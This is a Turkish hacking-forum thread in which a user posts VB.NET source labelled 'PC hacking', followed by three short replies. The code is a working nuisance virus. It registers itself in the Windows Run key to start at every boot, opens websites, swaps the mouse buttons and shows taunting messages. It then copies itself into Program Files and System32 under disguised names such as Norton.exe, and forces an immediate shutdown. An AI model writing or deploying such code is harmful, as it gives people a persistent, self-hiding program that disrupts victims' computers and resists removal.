• Değerli kullanıcılarımız, eğer forumda açılmasını istediğiniz kategoriler varsa lütfen Görüş ve Önerileriniz kısmına bunu konu açarak belirtin.

VB.NET - Pc Hackleme Source

BFSWORD

ONAYLI UYE
STANDART UYE
Katılım
9 Ara 2019
Mesajlar
194
Beğeniler
31
Puanları
18
Selamlar Dostlar Bu Konu Bana Ait Değildir Sadece İlgimi Çektiği İçin Sizede Göstermek İstedim.

ASLA VE ASLA KENDİ BİLGİSAYARINIZDA KULLANMAYINIZ KULLANDIKTAN SONRA SORUMLULUK SİZE AİTTİR.


Kod:
Imports Microsoft.Win32
Public Class Form1
    ' Açılışa ekleme fonksiyonu (DEĞİŞTİRMEYİN)
    Private Sub AddCurrentKey(ByVal name As String, ByVal path As String)
        Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        key.SetValue(name, path)
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        'Load olurken regedite ekliyor ve PC her açıldığında çalışıyor. (DEĞİŞTİRME)
        AddCurrentKey("exenin_Adı", System.Reflection.Assembly.GetEntryAssembly.Location)  'exenin_Adı kısmını Projedeki exe adı neyse onu yazın. Örneğin virüs.exe ise virüs yazın. (DEĞİŞTİRME)

        'Bu bölüm de istediğiniz 5  site açılır
        Process.Start("https://istediginsite.com")
        Process.Start("https://istediginsite.com")
        Process.Start("https://istediginsite.com")
        Process.Start("https://istediginsite.com")
        Process.Start("https://istediginsite.com")

        'EĞLENCELİ ŞEYLER .D
        Shell("ALSNDMGR.wav", 0) 'bu satırda windows baslangıç müziği çalışır "0"parametresi media playeri gizler
        Shell("RUNDLL32 USER32.DLL,SwapMouseButton") 'bu satırda mousenin yeri değişir yani sol tık sağ olur sağ tık sol olur .d

        'msgboxda mesaj verir
        MsgBox("Lütfen yaralarıma pansuman yap", vbInformation, "HBS")
        MsgBox("Lütfen çok acıyo", vbInformation, "HBS")
        MsgBox("Windows HBS uyarısı buludu.Çözüm bulunursa size bildirilecek.", vbInformation, "HBS")

        'formgizlenir
        Me.Hide()

        've kendini farklı isimlerde kopyalar
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\Norton.exe")
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\InnocentFile.exe")
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\Wındows.exe")
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\WINDOWS\System32\MSN Live.exe")

'PC Kapatma
MsgBox("Kendine cici baak .d", vbInformation, "OPSS")
Shell (“shutdown -s -t 1″)

    End Sub
End Class
 

c1c0s

Administrator
EMEKLI ÜYE
Katılım
2 Ara 2019
Mesajlar
112
Beğeniler
43
Puanları
18
Konu hakkinda daha fazla bilgi paylasmanizi oneririm ornek bu nedir nasil yapilir ne icin kullaniliri nasil kullanilir nerde yazilir vs.. gibi seyleri bilmeyen arkadaslara da resim ekleyerek konunuzu daha ic acici kilabilirsiniz. iyi forumlar :)
 

maxi

ONAYLI UYE
STANDART UYE
Katılım
19 Şub 2020
Mesajlar
29
Beğeniler
7
Puanları
3
Yararlı olacagını sanmıyorum brom çok sabit kodlar zaten.
 

NegmaTR

EMEKLI ÜYE
Katılım
10 Ara 2019
Mesajlar
299
Beğeniler
38
Puanları
18
Yaş
20
ben bi konu açmıştım cheat engineyle ilgili biri bi zahmet ilgilenebilirmi benimle ?
 

Şu an konuyu görüntüleyenler (Üye: 0, Misafir: 1)

Üst